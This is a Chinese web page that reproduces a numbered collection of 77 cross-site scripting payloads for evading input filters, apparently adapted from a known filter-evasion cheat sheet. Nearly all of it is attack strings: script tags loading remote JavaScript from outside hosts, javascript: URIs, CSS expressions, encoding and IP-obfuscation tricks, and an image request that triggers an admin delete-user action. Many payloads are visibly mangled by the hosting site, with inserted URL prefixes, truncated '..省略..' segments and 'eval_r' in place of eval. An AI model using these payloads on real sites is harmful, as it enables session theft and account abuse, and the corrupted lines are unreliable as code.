首页 > 代码库 > xss跨站脚本攻击汇总

xss跨站脚本攻击汇总

 

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)
<IMG SRC=http://www.mamicode.com/jav..省略..S‘)>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=http://www.mamicode.com/jav..省略..S‘)>

(10)十六进制编码也是没有分号(计算器)
<IMG SRC=http://www.mamicode.com/java..省略..XSS')>

(11)嵌入式标签,将Javascript分开
<IMG SRC=http://www.mamicode.com/”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
<IMG SRC=http://www.mamicode.com/”jav ascript:alert(‘XSS’);”>

(13)嵌入式换行符
<IMG SRC=http://www.mamicode.com/”jav ascript:alert(‘XSS’);”>

(14)嵌入式回车
<IMG SRC=http://www.mamicode.com/”jav ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>

(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=http://www.mamicode.com/ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>

(17)空字符
perl -e ‘print “<IMG SRC=http://www.mamicode.com/java/0script:alert(/”XSS/”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
<IMG SRC=”  javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=http://www.mamicode.com/”http://3w.org/XSS/xss.js”></script>

(21)Non-alpha-non-digit XSS to 2
<BODY onl oad!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=http://www.mamicode.com/”http://3w.org/XSS/xss.js”></script>

(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2
<SCRIPT SRC=http://3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”

(27)双开角括号
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript
\”;alert(‘XSS’);//

(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>

(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
<BODY(‘XSS’)>

(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>

(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>

(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>

(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表
<LINK REL=”stylesheet” HREF=http://www.mamicode.com/”http://3w.org/xss.css”>

(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript
<IMG SRC=http://www.mamicode.com/’vbscript:msgbox(“XSS”)’></style>

  • XSS

    (41)META链接url
    <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

    (42)Iframe
    <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

    (43)Frame
    <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>

    (44)Table
    <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

    (45)TD
    <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

    (46)DIV background-image
    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

    (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

    (48)DIV expression
    <DIV STYLE=”width: expression_r(alert(‘XSS’));”>

    (49)STYLE属性分拆表达
    <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

    (50)匿名STYLE(组成:开角号和一个字母开头)
    <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

    (51)STYLE background-image
    <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class="XSS"></A>

    (52)IMG STYLE方式
    exppression(alert(“XSS”))’>

    (53)STYLE background
    <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

    (54)BASE
    <BASE HREF=”javascript:alert(‘XSS’);//”>

    (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
    <EMBED SRC=http://www.mamicode.com/”http://3w.org/XSS/xss.swf” >

    (56)在flash中使用ActionScrpt可以混进你XSS的代码
    a=”get”;
    b=”URL(\”";
    c=”javascript:”;
    d=”alert(‘XSS’);\”)”;
    eval_r(a+b+c+d);

    (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
    <HTML xmlns:xss>
    <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
    <xss:xss>XSS</xss:xss>
    </HTML>

    (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
    <SCRIPT SRC=http://www.mamicode.com/””></script>

    (59)IMG嵌入式命令,可执行任意命令
    <IMG SRC=http://www.mamicode.com/”http://www.XXX.com/a.php?a=b”>

    (60)IMG嵌入式命令(a.jpg在同服务器)
    Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

    (61)绕符号过滤
    <SCRIPT a=”>” SRC=http://www.mamicode.com/”http://3w.org/xss.js”></script>

    (62)
    <SCRIPT =”>” SRC=http://www.mamicode.com/”http://3w.org/xss.js”></script>

    (63)
    <SCRIPT a=”>” ” SRC=http://www.mamicode.com/”http://3w.org/xss.js”></script>

    (64)
    <SCRIPT “a=’>’” SRC=http://www.mamicode.com/”http://3w.org/xss.js”></script>

    (65)
    <SCRIPT a=`>` SRC=http://www.mamicode.com/”http://3w.org/xss.js”></script>

    (66)
    <SCRIPT a=”>’>” SRC=http://www.mamicode.com/”http://3w.org/xss.js”></script>

    (67)
    <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=http://www.mamicode.com/”http://3w.org/xss.js”></script>

    (68)URL绕行
    <A HREF=http://www.mamicode.com/”http://127.0.0.1/”>XSS

    (69)URL编码
    <A HREF=http://www.mamicode.com/”http://3w.org”>XSS

    (70)IP十进制
    <A HREF=http://www.mamicode.com/”http://3232235521″>XSS

    (71)IP十六进制
    <A HREF=http://www.mamicode.com/”http://0xc0.0xa8.0×00.0×01″>XSS

    (72)IP八进制
    <A HREF=http://www.mamicode.com/”http://0300.0250.0000.0001″>XSS

    (73)混合编码
    <A HREF=http://www.mamicode.com/”h
    tt p://6 6.000146.0×7.147/”">XSS</A>

    (74)节省[http:]
    <A HREF=http://www.mamicode.com/”//www.google.com/”>XSS

    (75)节省[www]
    <A HREF=http://www.mamicode.com/”http://google.com/”>XSS

    (76)绝对点绝对DNS
    <A HREF=http://www.mamicode.com/”http://www.google.com./”>XSS

    (77)javascript链接
    <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>

    xss跨站脚本攻击汇总